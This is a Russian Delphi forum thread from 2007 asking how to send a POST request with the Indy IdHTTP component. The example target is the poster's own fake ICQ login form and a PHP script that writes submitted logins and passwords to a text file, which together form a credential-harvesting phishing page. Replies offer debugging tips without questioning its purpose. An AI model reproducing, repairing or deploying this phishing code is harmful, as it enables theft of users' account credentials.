Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Отправка данных методом POST через IdHTTP


Fixi4eeG ©   (2007-12-02 13:41:00) 

Не могу отправить данные методом POST на html страничку через компонент IdHTTP.

HTml код

[quote]

<center>

<form method="post" action="0144887.php" onSubmit="return CheckForm(this);">

<input type="hidden" name="page" value="start">

<input type="hidden" name="post" value="">

<input type="hidden" name="login_from" value="">

<tr>

<td><img src= http://img.mail.ru/0.gifwidth=55 height=1><br> ICQ Number</td>

<td width=63%><input type="text" name="Login" value="" class=w_100></td>

</tr>

<tr><br>

<td> ICQ Password</td>

<td width=100%><input type="password" name="Password" class=w_100></td>

<tr>

<td> </td><br>

<td><input type="Submit" value="Login" style="margin-top:4px"></td>

<td> </td>

</tr></form>

</table>

</center

[/quote]

php код, раньше этот скрипт использовался для записи мыла, но как другого нету, приходится использовать этот. Запись происходит

Login:Pass

[quote]

$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";

$from=convert_cyr_string($from,"w","k");

$to=convert_cyr_string($to,"w","k");

$subj=convert_cyr_string($subj,"w","k");

$body=convert_cyr_string($body,"w","k");

mail($to,$subj,$body,$from);

$c = "$Login@$Domain:$Pass";

$fp = fopen("114532.txt","a+"); //открываем файл

fwrite($fp,"\n [start-- $c -- end] \n"); //записываем всё

fclose($fp); //закрываем

[/quote]

код в делфи ..

[quote]

var sl:TStringList;

s:string;

begin

sl:=TStringList.create;

sl.add('Login=Vasya');

sl.add('Password=Pupkin');

s:=idHttp1.post(' http://avtori.rxfly.net/icq/0144887.php',sl);

sl.free;

end;

[/quote]

После процедур в делфи, в файло записывается пустые пустые поля, типа : " "@:" "


MetalFan   (2007-12-04 14:14:00) [1]


> а во-вторых
>
> sl.Add('Login=Vasya&Password=Pupkin');
>

а не обязательно. инди сами приведут при необходимости к такому виду.
ошибка в чем-то другом.


Palladin   (2007-12-03 16:34:00) [2]

ну во-первых

sl.Request.ContentType:='application/x-www-form-urlencoded';

а во-вторых

sl.Add('Login=Vasya&Password=Pupkin');


Сергей М.   (2007-12-03 16:20:00) [3]

Хренб послал - хрень и получил.


Наверх

Титульная страница Поиск, карта сайта Написать письмо